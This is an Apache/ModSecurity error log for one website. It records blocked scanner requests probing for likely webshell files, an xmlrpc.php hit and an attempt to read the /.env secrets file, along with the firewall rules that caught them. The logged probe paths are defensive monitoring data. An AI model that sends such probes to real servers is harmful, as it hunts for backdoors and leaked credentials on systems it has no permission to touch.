[Fri Apr 17 06:28:17.639507 2026] [:error] [pid 9263:tid 9287] [client 20.91.253.196:12039] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "aeFigRP68VyHNvj1e54ZMQAAANY"]
[Fri Apr 17 06:28:18.220224 2026] [:error] [pid 9263:tid 9278] [client 20.91.253.196:12239] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "aeFighP68VyHNvj1e54ZOAAAAM0"]
[Fri Apr 17 06:28:19.038642 2026] [:error] [pid 51878:tid 51892] [client 20.91.253.196:12076] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Cap.php"] [unique_id "aeFig0nQhUtMbw9EsgaYLQAAAQw"]
[Fri Apr 17 06:28:20.010903 2026] [:error] [pid 51878:tid 51903] [client 20.91.253.196:12216] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Cap.php"] [unique_id "aeFihEnQhUtMbw9EsgaYOQAAARc"]
[Fri Apr 17 06:28:20.989276 2026] [:error] [pid 51878:tid 51886] [client 20.91.253.196:11980] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Cap.php"] [unique_id "aeFihEnQhUtMbw9EsgaYPQAAAQY"]
[Fri Apr 17 06:28:21.679840 2026] [:error] [pid 9263:tid 9266] [client 20.91.253.196:12049] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Cap.php"] [unique_id "aeFihRP68VyHNvj1e54ZVQAAAME"]
[Fri Apr 17 06:28:22.235774 2026] [:error] [pid 51878:tid 51886] [client 20.91.253.196:12067] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "aeFihknQhUtMbw9EsgaYUAAAAQY"]
[Fri Apr 17 06:28:23.118623 2026] [:error] [pid 51878:tid 51887] [client 20.91.253.196:12088] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "aeFih0nQhUtMbw9EsgaYXwAAAQc"]
[Fri Apr 17 06:28:23.807930 2026] [:error] [pid 9152:tid 9193] [client 20.91.253.196:12261] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "aeFih5JYca8I3TNCwIciNwAAAEM"]
[Fri Apr 17 06:28:24.783993 2026] [:error] [pid 9151:tid 9183] [client 20.91.253.196:12004] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "aeFiiMhTVuRPkua22vSs3AAAABY"]
[Fri Apr 17 06:28:25.760887 2026] [:error] [pid 9263:tid 9269] [client 20.91.253.196:12222] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/torsa1.php"] [unique_id "aeFiiRP68VyHNvj1e54ZZwAAAMQ"]
[Fri Apr 17 06:28:26.714144 2026] [:error] [pid 9153:tid 9223] [client 20.91.253.196:12269] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/torsa1.php"] [unique_id "aeFiiuMHGxkTZX3c45cYRwAAAIU"]
[Fri Apr 17 06:28:27.504354 2026] [proxy_fcgi:error] [pid 9151:tid 9177] [client 20.91.253.196:12233] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:28:29.012438 2026] [proxy_fcgi:error] [pid 9151:tid 9169] [client 20.91.253.196:12233] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:28:29.313331 2026] [proxy_fcgi:error] [pid 9151:tid 9173] [client 20.91.253.196:12233] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:28:29.604092 2026] [proxy_fcgi:error] [pid 9151:tid 9171] [client 20.91.253.196:12233] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:28:30.613792 2026] [proxy_fcgi:error] [pid 9151:tid 9170] [client 20.91.253.196:12233] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:28:30.904874 2026] [proxy_fcgi:error] [pid 9151:tid 9172] [client 20.91.253.196:12233] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:28:31.195401 2026] [proxy_fcgi:error] [pid 9151:tid 9167] [client 20.91.253.196:12233] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:28:31.514465 2026] [proxy_fcgi:error] [pid 9151:tid 9184] [client 20.91.253.196:12233] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:28:31.828393 2026] [proxy_fcgi:error] [pid 9151:tid 9168] [client 20.91.253.196:12233] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:28:32.129727 2026] [proxy_fcgi:error] [pid 9151:tid 9177] [client 20.91.253.196:12233] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:28:32.419520 2026] [proxy_fcgi:error] [pid 9151:tid 9169] [client 20.91.253.196:12233] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:28:32.705472 2026] [:error] [pid 9151:tid 9164] [client 20.91.253.196:12233] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jlex.php"] [unique_id "aeFikMhTVuRPkua22vStBAAAAAM"]
[Fri Apr 17 06:28:34.688894 2026] [:error] [pid 9263:tid 9286] [client 20.91.253.196:12184] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jlex.php"] [unique_id "aeFikhP68VyHNvj1e54ZkwAAANU"]
[Fri Apr 17 06:28:36.548598 2026] [:error] [pid 51878:tid 51890] [client 20.91.253.196:11973] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jlex.php"] [unique_id "aeFilEnQhUtMbw9EsgaY2AAAAQo"]
[Fri Apr 17 06:28:38.384201 2026] [:error] [pid 51878:tid 51880] [client 20.91.253.196:12267] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jlex.php"] [unique_id "aeFilknQhUtMbw9EsgaY8AAAAQA"]
[Fri Apr 17 06:28:40.402182 2026] [:error] [pid 9152:tid 9214] [client 20.91.253.196:12276] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xsas.php"] [unique_id "aeFimJJYca8I3TNCwIciYwAAAFg"]
[Fri Apr 17 06:28:43.569934 2026] [:error] [pid 51878:tid 51885] [client 20.91.253.196:12161] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xsas.php"] [unique_id "aeFim0nQhUtMbw9EsgaZHAAAAQU"]
[Fri Apr 17 06:28:46.933849 2026] [:error] [pid 9153:tid 9222] [client 20.91.253.196:12259] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xsas.php"] [unique_id "aeFinuMHGxkTZX3c45cYnwAAAIQ"]
[Fri Apr 17 06:28:47.657802 2026] [:error] [pid 9152:tid 9214] [client 20.91.253.196:12174] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xsas.php"] [unique_id "aeFin5JYca8I3TNCwIcijQAAAFg"]
[Fri Apr 17 06:28:48.319662 2026] [:error] [pid 51878:tid 51900] [client 20.91.253.196:12141] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp/jp.php"] [unique_id "aeFioEnQhUtMbw9EsgaZPQAAARQ"]
[Fri Apr 17 06:28:49.009218 2026] [:error] [pid 51878:tid 51884] [client 20.91.253.196:12165] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp/jp.php"] [unique_id "aeFioUnQhUtMbw9EsgaZSgAAAQQ"]
[Fri Apr 17 06:28:49.560761 2026] [:error] [pid 9152:tid 9194] [client 20.91.253.196:12089] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp/jp.php"] [unique_id "aeFioZJYca8I3TNCwIcinwAAAEQ"]
[Fri Apr 17 06:28:50.272373 2026] [:error] [pid 51878:tid 51885] [client 20.91.253.196:12255] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp/jp.php"] [unique_id "aeFioknQhUtMbw9EsgaZXgAAAQU"]
[Fri Apr 17 06:28:50.840724 2026] [:error] [pid 9151:tid 9176] [client 20.91.253.196:12168] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "aeFioshTVuRPkua22vStQgAAAA8"]
[Fri Apr 17 06:28:51.963049 2026] [:error] [pid 51878:tid 51904] [client 20.91.253.196:12195] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "aeFio0nQhUtMbw9EsgaZbAAAARg"]
[Fri Apr 17 06:28:53.421216 2026] [:error] [pid 9153:tid 9227] [client 20.91.253.196:11978] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "aeFipeMHGxkTZX3c45cYwQAAAIk"]
[Fri Apr 17 06:28:54.316475 2026] [:error] [pid 9152:tid 9199] [client 20.91.253.196:12149] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "aeFippJYca8I3TNCwIciuQAAAEk"]
[Fri Apr 17 06:28:55.257965 2026] [:error] [pid 9153:tid 9222] [client 20.91.253.196:12005] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "aeFip-MHGxkTZX3c45cYzQAAAIQ"]
[Fri Apr 17 06:28:55.981755 2026] [:error] [pid 9151:tid 9183] [client 20.91.253.196:12201] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "aeFip8hTVuRPkua22vStVgAAABY"]
[Fri Apr 17 06:28:57.540808 2026] [:error] [pid 51878:tid 51894] [client 20.91.253.196:12047] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "aeFiqUnQhUtMbw9EsgaZiQAAAQ4"]
[Fri Apr 17 06:28:58.230306 2026] [:error] [pid 9153:tid 9235] [client 20.91.253.196:12252] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "aeFiquMHGxkTZX3c45cY5QAAAJE"]
[Fri Apr 17 06:28:58.837378 2026] [:error] [pid 51878:tid 51901] [client 20.91.253.196:11975] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp9.php"] [unique_id "aeFiqknQhUtMbw9EsgaZmQAAARU"]
[Fri Apr 17 06:28:59.996455 2026] [:error] [pid 9151:tid 9162] [client 20.91.253.196:12257] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp9.php"] [unique_id "aeFiq8hTVuRPkua22vStZwAAAAE"]
[Fri Apr 17 06:29:01.118807 2026] [:error] [pid 9151:tid 9171] [client 20.91.253.196:12268] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp9.php"] [unique_id "aeFirchTVuRPkua22vStbgAAAAo"]
[Fri Apr 17 06:29:02.982315 2026] [:error] [pid 9263:tid 9287] [client 20.91.253.196:11909] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp9.php"] [unique_id "aeFirhP68VyHNvj1e54aWQAAANY"]
[Fri Apr 17 06:29:05.780457 2026] [:error] [pid 9151:tid 9166] [client 20.91.253.196:12092] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws88.php"] [unique_id "aeFischTVuRPkua22vStcgAAAAU"]
[Fri Apr 17 06:29:07.260992 2026] [:error] [pid 9152:tid 9198] [client 20.91.253.196:12101] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws88.php"] [unique_id "aeFis5JYca8I3TNCwIci9AAAAEg"]
[Fri Apr 17 06:29:08.186725 2026] [:error] [pid 9152:tid 9210] [client 20.91.253.196:12208] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws88.php"] [unique_id "aeFitJJYca8I3TNCwIcjAQAAAFQ"]
[Fri Apr 17 06:29:08.974837 2026] [:error] [pid 9152:tid 9204] [client 20.91.253.196:12248] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws88.php"] [unique_id "aeFitJJYca8I3TNCwIcjCAAAAE4"]
[Fri Apr 17 06:29:09.660034 2026] [:error] [pid 9153:tid 9218] [client 20.91.253.196:12154] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/motu.php"] [unique_id "aeFiteMHGxkTZX3c45cZEAAAAIA"]
[Fri Apr 17 06:29:10.299034 2026] [:error] [pid 51878:tid 51885] [client 20.91.253.196:12262] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/motu.php"] [unique_id "aeFitknQhUtMbw9EsgaZ4wAAAQU"]
[Fri Apr 17 06:29:11.061028 2026] [:error] [pid 51878:tid 51882] [client 20.91.253.196:12021] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/motu.php"] [unique_id "aeFit0nQhUtMbw9EsgaZ8wAAAQI"]
[Fri Apr 17 06:29:12.042745 2026] [:error] [pid 51878:tid 51888] [client 20.91.253.196:12220] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/motu.php"] [unique_id "aeFiuEnQhUtMbw9EsgaaCgAAAQg"]
[Fri Apr 17 06:29:12.803435 2026] [:error] [pid 9263:tid 9273] [client 20.91.253.196:12194] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "aeFiuBP68VyHNvj1e54agAAAAMg"]
[Fri Apr 17 06:29:13.751812 2026] [:error] [pid 51878:tid 51890] [client 20.91.253.196:12162] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "aeFiuUnQhUtMbw9EsgaaHQAAAQo"]
[Fri Apr 17 06:29:14.567306 2026] [:error] [pid 9152:tid 9192] [client 20.91.253.196:12225] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "aeFiupJYca8I3TNCwIcjFQAAAEI"]
[Fri Apr 17 06:29:15.488904 2026] [:error] [pid 9263:tid 9276] [client 20.91.253.196:11912] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "aeFiuxP68VyHNvj1e54amAAAAMs"]
[Fri Apr 17 10:07:55.165715 2026] [:error] [pid 9151:tid 9173] [client 207.231.110.215:55423] [client 207.231.110.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 207.231.110.215, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aeGV-8hTVuRPkua22vT0TAAAAAw"], referer: agihotel.blgz.cz/wp-login.php
[Fri Apr 17 10:07:55.189283 2026] [proxy_fcgi:error] [pid 9151:tid 9173] [client 207.231.110.215:55423] AH01071: Got error 'Primary script unknown', referer: agihotel.blgz.cz/wp-login.php
[Fri Apr 17 10:20:40.116944 2026] [:error] [pid 9263:tid 9277] [client 160.30.179.124:33232] [client 160.30.179.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aeGY-BP68VyHNvj1e55nugAAAMw"]
[Fri Apr 17 14:31:09.728983 2026] [proxy_fcgi:error] [pid 9152:tid 9213] [client 74.234.56.128:24905] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:31:09.729627 2026] [proxy_fcgi:error] [pid 61523:tid 61565] [client 74.234.56.128:24933] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:31:09.994975 2026] [proxy_fcgi:error] [pid 9152:tid 9211] [client 74.234.56.128:24905] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:31:09.997166 2026] [proxy_fcgi:error] [pid 61523:tid 61544] [client 74.234.56.128:24933] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:31:10.259486 2026] [proxy_fcgi:error] [pid 9152:tid 9199] [client 74.234.56.128:24905] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:31:10.265106 2026] [proxy_fcgi:error] [pid 61523:tid 61545] [client 74.234.56.128:24933] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:31:10.523732 2026] [proxy_fcgi:error] [pid 9152:tid 9194] [client 74.234.56.128:24905] AH01071: Got error 'Primary script unknown'
